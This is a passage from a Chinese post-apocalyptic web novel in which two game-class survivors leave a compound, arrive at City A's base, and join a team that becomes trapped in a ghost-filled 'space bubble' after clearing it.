陈嘉佳看向张老师，她在张老师脸上看见了悲伤，慈爱，还有请求，几秒后，她点了点头：“好。” 于是张老师将陈嘉佳交到了陆燃手中。 陆燃牵着陈嘉佳，和江朗一起直接强硬地走进了那群人中央，迫使他们给他们让开了一条路。 “你们！不许走！” 那中年男人火大地喊了一声，然后看向了那个中二织灵者，只是一向好骗的少年此时直接左顾右盼了一下，发现实在没什么方便他盯得东西就抬起头看天。 他不要命啦？ 那个秘术师手里就捏着技能，虽然他读条时间长，但是配上这个点了鬼知道几个控制技能的织灵者，给他一次出手机会这里的人都要死，他才不去主动找死！ 经过这些异能者后，就是一群小区居民。 他们迷茫地看着陆燃江朗牵着陈嘉佳离开，好像一时间还不适应他们三人以后就不是小区的人了这个事实。 怎么会这样呢？明明陆燃和江朗甚至小陈医生都是后来出现的，但是他们总觉得他们会一直存在…… 陆燃没有任何改道的意思，他平静地向前走着，其他人不得不让出了一条路。 然后目送着他们三人上了那辆红色的越野车。 第98章 第 98 章 A市我们来了，A市你好…… 于檬又听见了江朗的招呼声。 于是她熟门熟路地从巢穴里钻了出来。 但是这一次她看见了除了江朗与陆燃以外的人。 她双眼一亮：“陈嘉佳！” 陈嘉佳也朝她挥了挥手。 于檬立刻顺着土路滑了下来。 “陈嘉佳你怎么来了？” 她瞬间想到了之前陆燃和江朗说的情况。 “难道是小区里太……所以你出来散心？” 陆燃开口了：“陈嘉佳现在离开小区了。” 于檬有些震惊：“什么？！” 陈嘉佳苦笑了一下：“我的存在显然引来了一堆乱七八糟的人, 张老师当然也可以强行压制住他们，但是我离开会更方便一点吧，他们得不到想要的东西就会离开, 小区也能恢复到最初的模样了。” 江朗拍了拍陈嘉佳的肩膀：“张老师主要还是不想你被他们那么觊觎，你的异能说到底太伤身, 就算能恢复又凭什么每次卡得那么紧刚恢复就要给人治疗, 还是给一群完全将你的异能视作小区财产视作理所当然的人。” 江朗轻咳了一下：“好了，别想这些不开心的事了，你和于檬玩吧。” 陆燃看向陈嘉佳：“你之后想和于檬一起还是坐我们的车走？” 陈嘉佳犹豫了一下，在坐车来的路上, 陆燃和江朗就大致和她透露了一下之后的计划, 将Q市附近的污染物清理完毕后他们不会久留, 暂时是打算往A市去。 于檬：“等等等等, 你们要去哪？” 她这才反应过来，陈嘉佳离开小区了, 肯定是陆哥和江哥带着离开的, 不然小区里那些人怎么可能那么轻易放陈嘉佳离开，那陆哥和江哥之后不回Q市了, 他们要去哪？她……她还见得到他们吗？ 江朗：“我们打算去A市, 这次来就是为了和你说一声，你可以带着你的山一起过来呀, 在A市附近融入一下附近的山。” 这个主意听起来有点离谱, 但于檬听完居然还不错。 江朗又转头对陈嘉佳说：“你想和于檬一起也可以的, 反正我们要边走边清理污染物, 行进速度也不会太快，和你们俩应该不会拉开太远距离。” 陈嘉佳点点头：“那我和于檬一起。” 于檬：“！” 这里现在最开心的大概要属她了，虽然陈嘉佳因为糟糕的事离开小区一定很难过, 但是她现在有人一起说话了…… 陆燃和江朗好像真的就是只是送陈嘉佳过来，没过多久就离开了，只大致给于檬确认了一下A市的方向。 于檬点点头，立刻吩咐蚂蚁们开始搬着山朝A市的方向移动. “突突突——突突突——” 江朗平静地朝前开着车，偶尔看一眼副驾睡着的陆燃，然后很满意自己选了这么条平稳的路。 就在他对自己的路线选择感到非常满意的时候，一瞬间天地变换，原本开阔的大路瞬间变成了上下左右的岩石。 江朗：“……” 靠！他选的这什么路线！ 他真的运气有差到这种地步吗？别的人在末世里十年也不一定能被动遇上过一次空间泡啊！他怎么出一个市撞上一次！ 江朗简直要泪流满面了。 他的急刹车将陆燃从睡梦中震醒了。 “怎么了？” 陆燃刚问完，就知道发生了什么了，事情过于明显。 他从车窗内看向外面。 这里和上个空间泡稍微有那么一点相似，比如这些岩石的质地就很像，都是一种快风干了的感觉，很像是那些常年炎热地区会存在的岩石，虽然空间泡里一点也不热，甚至有些偏冷。 但也有不一样的地方，比如没有像上个空间泡那么有层层叠叠的岩壁像个迷宫一样，这里更像个“大盒子”，上下左右各是一块巨大的岩石，表面不算太平整，但也已经够整体了。 但他们头上的顶至少也在二十几米高处，所以倒也没有很强烈的在室内的感觉。 他推开车门跳下车。 然后看见了一大堆污染物正在朝他们的方向涌来。 造型各异，异能大概也是各异的。 江朗也已经跳下了车，边走到陆燃身边来边说： “这个空间泡就正常多了，其实拒研究所说，大部分空间泡都是类似的结构，大致能看出来是个方方正正的整体，虽然不一定能到达尽头的墙，然后大部分污染物也比较活跃，像这样直接朝入侵者来的是最常见的，我们搞定最强的那只污染物就可以了。” 说着，陆燃的技能已经放了出去。 他点了个方向，示意江朗往那边放技能。 于是三秒后，湮灭之环落下，整个空间泡随着后头还在冲锋的污染物一起消失。 陆燃和江朗回到了现实世界。 这只是个他们前往A市路上的小插曲而已，除了江朗忍不住吐槽了一下自己是不是太倒霉了以外，几乎没在他们脑海中留下印象。 他们一路走一路收集路上的晶体，如此走走停停几个月后，他们终于到达了A市。 A市在末世前是个大型城市，不过并不是C市这种超大型城市，刚进末世的时候大概率没那么惨烈。 陆燃和江朗往市中心开了一段后，就发现，嗯，这里果然已经自发形成了基地。 两个人守着这个方向进A市的必经之路——虽然其实也不是必经之路，如果不开车的话随时能走其他小道混进去，只不过外来者确实大部分是开车来的，他们也确实够拦下大部分外来者了。 那两人守在路上的小亭子里，见有车来就走了出来。 江朗也很配合地停下，就差从车窗里递出驾照去了。 “从哪里来？” “Q市。” “Q市？这倒新鲜，路这么远，来A市做什么？” “我们就是到处走走。” 这位盘查的A市异能者一瞬间有点无语，到处走走？这算个什么回答？这哥们还以为自己在末世前吗？搁这旅游呢？ 不过这本来也就是个过场问题，他看了眼这两个过分年轻的年轻人，懒得多问了。 “登记一下名字和异能吧，然后交10晶体入城费就可以进去了，登记过后就可以接任务赚积分然后用积分换物资。” “好的。” 江朗乖巧地接过登记表，写上自己的名字和游戏职业，然后递给了陆燃，陆燃也写上了自己的名字和游戏职业，最后递回给了对方。 负责登记的人也就随便看了一眼，看见是游戏玩家，那就没什么值得好奇的，于是挥挥手示意他们往前开了。 交完买路钱后，江朗又开了一段路，然后就彻底进入了A市的市中心。 A市，是个很热闹的基地。 而且路上走的大部分要么是游戏玩家要么是异能者，其实刚刚就应该注意到了的，那个负责登记的人直接默认他们有异能，直接让他们登记异能而不是问他们是不是异能者。 江朗有些迷茫，他不是很熟A市的路，其实开进来之后就不知道该往哪开了。 他在一个路人旁边停下： “你好，我们是新来的，我们该往哪里走呢？” 路人倒是还挺热心，大概自己也是后期入住A市基地的异能者吧。 “哦新来的是吧，往前开，看到一家好又多之后右转，然后开到下一个红绿灯口再右转，那里有座很高的写字楼，从写着B座那个口进去，然后就能看见前台有个人，那是负责兑换积分的，你们俩要是有晶体的话就直接跟他换，然后就能用积分换东西了，哦住哪的话是不用积分换的，只要没人的地方都能住，有人也能住，只要你打得过原住户。” “接任务也是那个写字楼，总之只要你能记住到写字楼的路，就没别的什么需要记的了。” 江朗：“谢谢！” 他一踩油门，照着对方所说在好又多右转，然后再在红绿灯口右转，果然看见了那栋高高的写字楼。 他从车窗内探出头，找了个停车位认真停下车，然后和陆燃一起下车走进了写字楼。 前台是个看上去不是很耐烦的中年男人。 “你好……” “换积分还是换物资还是接任务还是交任务？” 江朗话才说到一半，就被对方不耐烦地打断了。 他无措地看向陆燃，其实他只是想问问情况，他们现在不缺物资来着。 陆燃：“给我们看看任务列表和物资兑换列表。” 中间人沉默地甩出两张纸。 陆燃拿起那两张纸，和江朗找了个沙发坐下来一起看了起来。 这一看江朗就忍不住低声“我草”了一声。 “这也太黑了……” 他很努力地压低了声音，但还是没怎么压住。 贵。 他的第一感受就是贵。 尤其是和海岸小区对比一下，A市的物资贵到一种……以他们俩手头的晶体数量都深感肉疼的程度。 简单换算一下，一株新鲜白菜就要五枚晶体。 嘶…… 普通的速食食物好点，但也很贵很贵，两箱方便面一枚晶体，一箱纯净水一枚晶体。 感觉真是拼命才能生活的地方…… 陆燃：“以后只在这花在他们这挣的晶体吧。” 江朗非常凶猛地点起了头，不然真的感觉肉疼。 于是他们又看起了任务列表。 好在A市发任务给的酬劳也非常慷慨，相对普通的任务也给十到五十枚晶体不等，看上去难度较高的晶体更是直接几百枚几百枚地发，而且不要求异能者上交任务内获得的其他晶体，看来A市是个高消费但也给高薪的城市。 还行还行，日子还能过。 第99章 第 99 章 组个队 “咦？” 江朗突然看见了一个任务。 陆燃：“什么？” 江朗伸出手, 指了指陆燃手里那张纸中间的一个任务。 “探索空间泡并消除，任务报酬：700晶体” 陆燃思考了一下，很快就意识到了江朗为什么会觉得这个任务奇怪。 按照江朗以前的说法, 后期研究所成立后，各大基地才开始出现类似于“探索空间泡”这样的任务。 因为在那以前, 既没有从外部探查到空间泡存在的技术手段——正常人要么运气好没有撞上空间泡, 撞上了那就必须自己杀出来，没杀出来的也没那个机会向外界提供消息了——也没有这个需求，空间泡就算能探查出来，那也标记一下让大家绕着走不就好了吗？是因为研究所的主流理论认为空间泡是另一个世界入侵地球的节点, 而销毁空间泡就是与这种侵入式外星文明对抗的手段。 如果有一天所有的空间泡都消失了, 或许地球就能恢复正常。 这个理论到底正不正确没人知道, 但是有希望总比没希望强呗, 而且研究所以外的大部分异能者做类似的任务只关心报酬的，如果能拯救世界的话那也是顺带的。 但是问题就在于, 现在研究所应该还没建立, 按时间线来说，本应该连雏形都还没有。 所以为什么会有这样的任务？ 陆燃和江朗对视了一眼。 严重怀疑还有另外的重生者存在, 之前在C市遇到柳寒那个重生的跟班的时候, 他们就在怀疑，这世上是不是还有其他重生者存在？现在看来, 也许有研究所背景的人也重生了。 一半是好奇这背后的人, 一半是这个任务确实给的最多, 他们很快决定接下这个任务, 给A市定居攒一笔启动资金出来。 于是他们拿着任务列表又回到了前台。 江朗：“你好，我们想接这个任务。” 接待员抬了下眼皮，直接说：“这个任务已经有人接了。” 江朗：“哦哦这样……那我们……” 他还没来得及说“那我们再去研究一下别的任务”, 那个招待员就拿出一张纸继续说了下去： “你们登记一下吧，自己的异能和等级，接下这个任务的人会判断你们是否符合这个任务的需求，没问题的话你们就能加入队伍了。” 江朗这才恍然大悟，原来是他想差了。 也对哦，虽然他和陆燃会觉得如果不是刚从C市出来时遇到的那种强大到诡异的空间泡，大部分空间泡应该是单兵作战就能搞定的，但是他们这么觉得不代表其他人也会这么觉得，对于大部分异能者来说，空间泡确实是需要组队去刷的副本。 他看了下陆燃，看见陆燃点了点头后就开始老老实实认真填写起他的陆燃的信息来。 “江朗，秘术师，满级。” “陆燃，织灵者，满级。” 其他的应该不用了，就算没有额外信息，他们俩的战力应该也是能被选入队的。 接待员拿回那张纸：“好，我会通知该小队的，你们明天过来等结果吧。” 江朗和陆燃点了点头，离开了这座写字楼。 江朗跳上车后，兴奋地转向陆燃：“所以我们接下来是要低调行事吗？” 刚刚他看陆燃那一眼其实就是在问，要直接说这个任务他们两个人就能完成然后强行接下来吗？ 还是说低调做人，在新的基地好好当两个无辜路人？ 陆燃显然选择了后者。 其实他也觉得这样更好，海岸小区的经历让他有些心力交瘁，短时期内他都不想高强度掺和任何一个基地的任何事了。 陆燃“嗯”了一声：“顺便看看其他人是怎么做任务的吧。” 江朗：“OKOK。” 说着他将车开了出去，试图寻找起附近地段的舒适的空房。 倒是不难找，A市相对热闹归热闹，异能者的密度毕竟不可能对标末世前的人口密度，这附近大部分高楼都是空着的。 他们随意找了间一楼的房间，然后睡了一觉，再次前往写字楼。 刚到，就看见好几个人已经等在那里了。 陆燃快速扫视过在场几个人。 有一个是玩家，服饰有稍作掩盖，但是卫衣里透出来的领口表明他应该是个言灵者。 如果再来个医生，他们这个队伍就辅助输出控制全齐全了。 可惜没有，除了这个言灵者以外的人，应该都是正常异能者。 “哦他们来了。” 前台招待员先看见了他们俩，平板地提示了一句。 那几个人于是齐齐转过身来。 很明显负责领头的是一个肌肉虬结的年轻人，他走上前来和陆燃和江朗握了握手，然后摆了个凸显肱二头肌的姿势。 陆燃和江朗正有些迷茫——怎么开始凹起造型了？——就听见对方开口： “你们好，我的异能是可以将能量暂时存储于肌肉中，然后需要的时候一次性释放出去，可以自选释放的能量多少，一般来说一格肌肉就可以击倒一座建筑，比如说这座写字楼吧……” “咳……” 就在陆燃和江朗迷惑他难道是真的想当场示范一下自己的异能效果的时候，一个年纪看上去大他几岁的人走上前来，阻止了他把所有人埋在废墟下。 对于这个人，陆燃和江朗的第一印象是，为什么有人在末世后还坚持穿着正装三件套。 西装，马甲，加衬衫，领带，石英表，西装裤，皮鞋，样样不缺。 他倒是最适合出现在这栋高档写字楼里的人，说他是来上班的也没有任何违和感。 总之，他笑眯眯地拉着肌肉男的手臂将他的手放了下来。 “你们好，江朗和陆燃？” 江朗和陆燃点点头。 “我给你们介绍一下小队的其他成员，毕竟也要一起行动一段时间，稍微了解一下即将和自己一起面对危险的人也是挺有必要的对吗？” 说着他将手伸向，以一种像是介绍拍卖品一般的姿势介绍道：“李峰，异能他已经向你们介绍过了，甚至非常详细。” 然后他优雅地向后退了几步，将手指向一位冷淡抱臂靠在墙上的女性。 “秦暮楚，她的异能是水系异能，可攻可受，甚至还能生成纯净水，基地负责人一度想让她负责基地的供水，开出了非常高的价格，不过秦女士觉得这样的工作太无聊了，所以现在是我们小队的常驻成员。” 秦暮楚朝他们点了点头算是打招呼。 然后他走向了那个言灵者： “梁凌，言灵者，你们都是玩家应该比我更熟悉他的能力，也许你们会更聊得来一点。” 江朗挥了挥手：“你好啊。” 那个言灵者指了指自己的嘴巴，然后放下了手。 江朗有些懵，陆燃也挑了挑眉，虽然言灵者们确实需要注意自己讲出口的话，但是倒也没到连一句“你好”都要注意的地步。 这位言灵者修闭口禅修得也太认真了。 让人不禁怀疑也许他是本来就不喜欢和人讲话，然后正好觉醒了言灵者这个职业，就干脆拿来当正大光明不说话的借口了。 然后是旁边站一块的两个男性，一个又高又瘦，瘦到夸张，一个稍矮一些，身材也更匀称一些。 “周胤，顾承，周胤的异能是巨大化，除了有攻击力以外还能在交通工具抛锚的时候可以短期内为大家提供快速前进的方式，顾承的异能是几乎没有冷却时间的瞬移。” “然后至于我自己，我的异能比较幽默，和秦姐的异能可能有点相似，她是水系异能，我是酒系异能，可以生成高纯度酒精，关键时刻能当个消毒工具人用，怎么样，我们这个队伍你们还满意吗？” 陆燃和江朗这才知道原来组队是个双向选择的事，他还以为他们交上申请表之后对方就默认跟HR挑人一样了呢，看来A市基地还挺人性化的。 而且看他们这么随意地将异能介绍出来，A市现在的环境应该还可以，没有到上一世末世后期那种所有人默认展示异能约等于在向人展示自己的破绽的情况。 虽然其实这种展示不好说是否全都坦诚，比如他们俩确实把游戏职业都填了上去，但是也都瞒下了异能，那个言灵者很可能也是如此，至于其他人，大可以只说异能的一部分效果。 不过总体上还是一个比较互相信任的环境。 于是陆燃和江朗点了点头：“挺好的，那我们现在出发？” “这么积极的吗？” 陆燃：“人都聚在一起了，不然还特意再散开再找时间集合吗？” 包括西装男在内的所有人都乐了。 “确实，你说得对，那我们出发吧。” 第100章 第 100 章 空间泡 一行八人走出写字楼。 江朗：“那是我们的车, 坐八个人应该没问题，而且越野车开到野外去比较方便，要一起吗？” 西装男看着他们的车微微笑了一下, 说道：“还是先看一下我们的车吧。” 他的微笑中带了几分神秘，江朗好奇地跟着他一路向前, 然后忍不住睁大了双眼。 因为出现在他们面前的, 是两辆装甲车。 “我去！” 秦暮楚熟门熟路地进入装甲车内部，然后从顶部冒了出来，她操作了一下顶端的环形枪架，朝江朗和陆燃笑了一下：“能用子.弹解决的就没必要用异能了不是吗？” 江朗目瞪口呆：“你们从哪弄来的？” “秦姐的朋友搞来的, 帅吧。” “帅, 太帅了。” 西装男指了指另一辆：“你们想操作冲锋.枪的话可以坐后排。” 江朗立刻兴致勃勃地钻进了后排, 陆燃倒是兴趣不大, 他拉开副驾的车门坐了进去。 西装男和肌肉男和秦暮楚一辆车，他们这边江朗和周胤去了后排负责架枪, 陆承负责开车, 陆燃则在副驾上准备开始睡觉。 可惜，他还没来得及闭上眼, 驾驶座的人就试图开始和他搭话了。 “你也姓陆, 真巧啊，你的名字真好听, 陆燃, 你爸妈好会取名字。” 他一边说一边朝陆燃的方向转过了头, 露出了一个微笑, 他原本就生了张好看的脸，此时笑起来更是灿若桃花。 陆燃的脸庞上缓缓露出了一个略微迷惑的神情。 “名字是孤儿院院长取的，包括姓氏, 也是他挑的。” 陆承原本的笑容瞬间僵在了脸上。 隔了好几秒他才答道：“这样……” 陆燃一句话让自己免于了一场闲聊，他觉得还不错，抱着臂闭上了眼。 于是等陆承回过神来，想出了新的闲聊切入点的时候，扭头一看却发现陆燃已经呼吸平稳地睡着了。 他颇有些可惜地看了眼，又看了眼陆燃那张闭着眼更显淡漠却实在惹人注目的脸庞，然后才依依不舍地转头认真开起了装甲车. “陆燃！陆燃！” 陆燃缓慢地睁开眼，就看见江朗一脸兴奋地从后排挤过来。 “有污染物！快来快来！” 陆燃反应了一会儿才反应过来江朗在兴奋什么，为什么有污染物要这么兴奋，——哦对，他只是在兴奋有机会拿枪打污染物了。 陆燃顺从地从座位间隙跨到了后排，然后跟着江朗从车上方探出了头。 他们是从Q市来的A市，和现在行进的反向完全不是一条路，所以污染物其实没那么罕见——意思是这边的污染物没有遭受他们的洗地式攻击——只是再多也没有末世刚来时那种随处可见的密度，所以江朗确实在上方观察了半天才好不容易看见一只污染物。 原本负责开车的陆承也直接停下了车，靠着车窗往外看，他挺理解江朗这种兴奋的，毕竟他刚加入这个小队的时候也玩了半天冲锋枪。 江朗调整了一下方向，然后—— “突突突突突——” 无辜的污染物瞬间被击穿。 江朗：“这比湮灭之环好用多了！都不用读条！” 陆燃忍不住笑了一下。 江朗扭头对他说：“陆燃，你也要来试试吗？” 陆燃可有可无地点了点头。 江朗立刻让出了位置。 陆承在下面喊：“附近的污染物估计都被惊跑了，我开一段路。” 于是他发动车，陆燃在上方扫视着四周环境。 过了会儿，他们四人确实看见了污染物，不过这污染物是飞行形态，陆燃刚要说那就算了，江朗就兴致勃勃地从车后座拿起了一把大狙递给陆燃。 “来来来，我给你当观察员！” 陆燃笑了下，没拒绝。 江朗显然玩得很开心，他一本正经有模有样地说： “距离，600米。” “风偏值，右0.5。” 他甚至压低了些声音，显得格外低沉。 陆燃也很配合复述： “距离，600米。” “风偏值，右0.5。” 江朗：“呃……发射？” 他一时间忘了该怎么发出最后的指令了，瞎看的电影电视剧到底还是没在他脑内留下完整的痕迹。 不过也无所谓，他说完后立刻兴奋地直起身直接看向600米开外——毕竟他现在的视力直接看远处不光清晰还视野范围大。 陆燃按下扳机，其实原本倒没指望能击中的，结果不知道是新手的好运还是什么，那只飞来飞去的污染物鸟就那么直接撞上了他的预判子弹轨迹。 江朗：“！！！！！帅！帅啊陆燃！！！” 一旁坐在车顶的周胤也有点震惊——哥们你神枪手啊？还是心算大师？这么混沌的运动系统都给你预判到了？ 陆燃也忍不住挑了挑眉，他其实只是大致选了个顺眼的准星开枪。 不过不管他们什么想法，那只污染物是真的怒了，长啸一声就朝他们的方向飞了过来。 陆燃原本懒得动，毕竟实际攻击一向是江朗负责的，但江朗一顿摩拳擦掌： “快快快！你拿心灵震荡把它打下来！这可是你远距离动态狙击一击必杀的实证啊！高低得给它做成标本保存下来！” 陆燃：“？” 他带着一种淡淡的“……”的心态放出了心灵震荡，然后看着江朗欢脱地从车内跳了出去去捡尸体了。 那之后江朗虽然还兴致勃勃地想要在周围再找点污染物出来，在他找到以前，前面属于领路四人的装甲车也停了下来。 江朗：“这是到了吗？” 周胤：“快了，应该是检测器给反应了，所以开始慢慢找，毕竟空间泡的检测范围很广很实际上能撞进去的入口很小。” 江朗看向前方。 陆燃看了眼已经进入到车体内的周胤，低声问江朗：“如何？” 江朗：“完全是研究所的样式。” 陆燃和江朗对视了一眼，研究所有重生者这件事的概率瞬间提高到了近乎百分之百。 江朗：“这个空间泡污染度很高啊。” 陆燃：“嗯？” 江朗：“单看指标的话，介于我们之前遇到的两个空间泡之间，而且是基本刚好卡在中间的位置。” 陆燃：“这种空间泡很罕见吗？” 江朗：“嗯，绝大部分空间泡都是我们来A市路上那个强度的，我参与过的任务里这种类型的空间泡至少占了九成，这还是我已经比较习惯挑有难度的任务做的前提下了。” “现在这种强度的空间泡我之前只遇到过一两次，至于我们刚从C市出来那种，更是一次都没有。” 陆燃点了点头，示意自己明白了。 两个人钻入车内，不再关注周围，前方的装甲车缓慢而耐心地排查着入口，陆承就一样缓慢而耐心地跟着它开。 直到前方的装甲车突然消失。 陆承：“好的，他们找到了，大家坐稳了。” 一边说着，他一边加速朝秦暮楚那辆装甲车消失的方向开了过去。 然后在天地变换之时停了下来。 他随性地朝前看去，但映入眼帘的场景瞬间让他瞳孔地震了起来。 “草！什么东西！！” 出现在他们眼前的，是一片又一片骷髅大军，各式各样的，光从骨头上就能看见它们生前长得有多奇形怪状。 而这些骷髅都在移动，大概是他们的闯入惊动了他们，一排排的骷髅齐齐“转头”，向他们看来，然后它们保持着这种“看来”的姿势保持了好几秒，才突然朝他们行进而来，这种诡异的纪律性配上本来就诡异的场面瞬间让后排周胤发出了一声尖锐的尖叫：“啊啊啊啊——” “啊啊啊啊——说好的污染物呢？！这些是什么东西！！” 更让他崩溃的还在后面，他好不容易稍微缓过了点神来，就巴不得自己没缓过神了，因为他注意到那些骷髅并不是全部，它们之间还飘着一些“阿飘”。 颜色极淡以至于一开始甚至让人看不太清，但确实是存在的。 周胤：“……” 好绝望，他就不该出这个任务。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 100-110 第101章 第 101 章 不是哥们，你们富成这…… 绝望的周胤瑟瑟发抖地缩在车后座一角, 希望闭上眼之后重新睁开就能重置这个副本。 很可惜，他睁开眼后，那些骷髅和阿飘还是朝他们而来了。 江朗同情地拍了拍这个怕鬼的哥们： “要不你就在车上呆着？我们去打就行。” 周胤幽幽地回答：“不行啊, 小队是按贡献分最后的晶体的……我来都来了……” 他眼一闭，颤抖的手推开车门, 跳了下去。 没事……没事…… 他安慰着自己——巨大化之后这些在他眼里就都是蚂蚁了！ 陆燃和陆承已经在车前了, 江朗和周胤走上前来。 前方肌肉男和西装男和秦暮楚还有言灵者倒是没有人有周胤这种反应，脸上更多的是迷惑，毕竟确实奇怪，所有人都做好了撞入空间泡后看到一大堆污染物的准备。 结果现在的情况更类似于他们从生化危机片场直接撞入了《寻梦环游记》（？）。 不过迷惑归迷惑, 任务归任务。 西装男走了出来, 走到陆燃和江朗面前： “咳咳, 其他人应该已经知道了, 我主要向你们两位强调一下，优先绕开那些可能是空间泡内最强大污染物的污染物, 因为我们的目标始终是将空间泡内本身的晶体榨干, 然后这部分晶体是自己留着的，你们能打多少就拿多少就行, 不用上交再分配, 除了给梁凌的那份，毕竟他是负责上buff的。” “然后最后的任务奖励就看你们具体打了多少晶体这样按比例分, 梁凌的份一样另算, 我觉得算是很有效率的分配方法, 你们觉得呢？” 陆燃和江朗点点头。 “好, 那大家就开始吧，各自选定一个方向，不要挤不要抢。” 颤颤巍巍的周胤很想说到底谁要挤谁要抢啊…… 总之, 在西装男的主持下，任务非常井然有序地开始了。 作为言灵者的梁凌终于开口了，给全部人上了加血加攻加蓝加移速减CD等一系列buff。 不过他们刚开始井然有序地行动，就发现了一个大问题。 那就是……呃，这些阿飘好像不吃实体攻击。 秦暮楚看着自己凝结出来的水流从那些透明的幽灵中直接穿了过去，没有任何阻碍，不禁皱了皱眉。 她以外的其他人也遇到了同样的麻烦，西装男的异能是酒系，和她的情况基本一模一样。 周胤巨大化后几乎一个人有三层楼那么高，一步一步缓慢移动都让陆燃和江朗有种空间泡内地震了的错觉。 他变到三层楼高后，确实倒是看不太清脚底下那些骷髅和阿飘了，这让他松了口气，他一步一个脚印往前踩去，然后他突然意识到……看不到了是真的，但是感觉还是很明显啊！这些阿飘们在他脚边攻击，有种脚背上飘过了一大片蒲公英的麻痒感，一想到这些“蒲公英”实际上是阿飘……他就完全无法忽视啊！ 于是他缓慢地抬起脚，然后重重踩下，试图碾死这些奇怪的污染物，但是他脚下传来了噼里啪啦的骷髅碎裂声，却没有消除那些“蒲公英”飘来飘去的感觉。 周胤：“……” 他慢吞吞地蹲下身，然后看见了那些完好无损的阿飘正在攻击他。 而比周胤被动制造出来的“地震”动静更大的是李峰那边，他一拳砸在地上，释放出了自己其中一块肌肉中的存量，地面轰鸣着裂开，能量波及了地面上的骷髅们，白骨断裂开来，甚至骨头上都出现了丝丝裂缝。 但是那些幽灵们，毫发无损。 李峰：“……” 变回正常大小的周胤和李峰还有其他人都意识到了这个空间泡的问题所在。 秦暮楚有些头疼，如果他们中没有人可以对这种幽灵形态的污染物造成伤害的话，他们岂不是要永远困在这个空间泡里了？ 好在，她刚开始头疼，就发现陆燃和江朗那边进行得很顺利。 甚至有些太顺利了。 他们一行人略有些呆愣地看着陆燃和江朗行云流水一般的配合。 陆燃先控制住他前方某一区域内所有污染物，因为认真听取了西装男的建议，他还特意将其中最亮的光点所代表的污染物迁移了出来，虽然这不一定是空间泡的核心，但是以防误伤就先挪出来。 陆燃将最亮光点的污染物挪出来之后，江朗也就行动力，湮灭之环完美覆盖陆燃的控制区域，直接将存在的所有污染物都消灭殆尽。 包括那些奇形怪状的骷髅，也包括那些飘着的幽灵。 其他人有些呆愣。 西装男瞬间想到，完了，刚和他们说完大家分工合作各取所需就要拜托他们消灭所有幽灵污染物……这多少有点尴尬。 好在江朗很快意识到了他们的困境，趁着他和陆燃的技能都在冷却就跑了回来。 “我刚刚看见你们好像没法攻击那些长得像幽灵的污染物，那我和陆燃负责这部分？” 西装男脸上露出了一种很微妙的表情，大约类似于——这部分？这不是相当于让你们负责全部吗？ 不过还是点了点头，现状就是如此，他们的异能对这些幽灵一般的污染物无效，而陆燃和江朗的游戏技能没问题，那就只能交给他们了。 “梁凌，你专心辅助他们吧。” 不爱说话的言灵者点了点头，直接跟上江朗，然后幽灵一般跟在他们身后随时给他们补buff。 至于其他人，虽然他们的异能对幽灵形态的污染物基本无效，但是打那些骷髅还行，又确认不需要讨论具体该怎么办了，于是都四散开去继续打骷髅头去了。 陆燃和江朗，再加上默默跟在他们身后的梁凌安静地慢慢平推着整个空间泡。 这个空间泡很大，至少有他们遇到的第一个空间泡的十倍大小，他们又完全靠走路在移动，所以花了很久很久才走到明显的边界处。 而此时，空间泡内只剩下了个别的骷髅和幽灵，都是因为光点比较亮被陆燃放过一马的。 就那么些，陆燃就懒得动了，江朗单独行动单独消灭还快点，于是他就回了装甲车旁，甚至直接拉开门坐了上去，就等着江朗搞定之后直接无缝离开空间泡了。 陆燃安静地等待着，甚至没往外看，直到几十分钟后，空间泡还是毫无变化，他才后知后觉地意识到了有什么不对。 他推开车门，重新下车，眉头微皱地看向前方，快速锁定了江朗的位置，然后他远远地看见，江朗看上去有些迷茫。 陆燃快速来到了江朗身边。 “什么情况？” 江朗一脸迷茫地朝他转了过来，然后说：“你帮我看看我有没有漏掉什么污染物？我感觉我已经全清了啊，为什么还没出去。” 陆燃快速扫视了一下各个方向，空间泡内平坦且一览无余，边界也早已被他们探了出来，所以他只要看一圈就能将所有东西都收入眼中，而他眼中没有任何成为漏网之鱼的污染物。 江朗和陆燃心中都闪过了一丝不详的预感——不会又是之前那个空间泡的情况吧？ 陆燃一回生n回熟地探测了一下地下有没有可以被精神链接链接上的污染物。 没有，土地也是很普通的土地，没有任何生命迹象或灵魂迹象。 陆燃忍不住皱起了眉头。 他们俩沉思着回到了装甲车旁，看向等待着的众人，将现在的情况和盘托出。 肌肉男当场就有些呆滞：“什？什么？” 他虽然将陆燃和江朗的话全部听得清清楚楚，但愣是没懂这些话的实际含义——什么叫污染物全部清理了但是他们还出不去？ “空间泡不是该消除污染物后自动消失的吗？” 江朗一脸无奈地挠了挠头：“我们也是这么觉得的，但是现在情况就是如此。” “我们之前也遇到过类似的事，就是明明污染物已经全部消除了，但我们还是被困在空间泡里出不去，然后那时候发现那些被清除的污染物又重新长了出来，然后陆燃发现这些污染物实际上和空间泡的土地形成了共生关系，直接攻击了土地本身才出去的。” “但是陆燃刚刚也试探过了，这个空间泡和我们之前遇到的空间泡不是一回事，土地本身没有任何意识，土地下层也没有污染物存在。” 秦暮楚突然露出了有些一言难尽的表情：“你们撞上过这么多奇怪的空间泡？” 江朗愣了一下，然后弱弱地挠了挠头：“也就……也就那一个比较奇怪吧，我们后来遇到的空间泡就很普通了，就是没想到这个也会这么奇怪。” 他对面的六人瞬间都露出了一言难尽的表情，他们在A市有一段时间了，也就接过几个空间泡任务，而且在此之前遇到的都是很好解决的类型，这还是他们来A市之后因为想赚晶体才接触了这么多空间泡，在此之前他们都不知道还有空间泡这种东西存在，但听江朗的描述，他和陆燃两人纯粹是自己瞎逛就撞上了各种奇奇怪怪的空间泡。 这两人……运气是不是太差了点！ 陆燃：“先观察一下吧，现在还什么都看不出来，我们之前遇到的那个空间泡污染物后续复生了，可以看看这次是不是也类似。” 秦暮楚和西装男先后点了点头，然后西装男对梁凌说：“梁凌，你带了多少食物过来？我们到时候按多用掉的补给你。” 梁凌沉默了一会儿，双眼放空，江朗一看就知道是在查看背包，于是插嘴说道：“没事的，我也带了很多很多物资，如果真的短时间内出不去的话也没关系，我这边食物什么的都够的。” 秦暮楚非常审慎地提出：“或许不能太乐观，如果真的迟迟找不到出去的办法，八个人在空间泡里停留一个多月甚至几个月的话消耗的物资太多了，你们不一定带着足够的物资。” 江朗：“放心吧，肯定够！” 说着，他直接在背包里翻了一下，然后直接掏了一个集装箱出来。 秦暮楚及其他人目瞪口呆地看着面前突然出现了一个巨大的集装箱，然后看着江朗乐呵呵翻下集装箱的后门，朝他们招了招手：“来选自己想吃什么吧，我们估计有的要等了。” 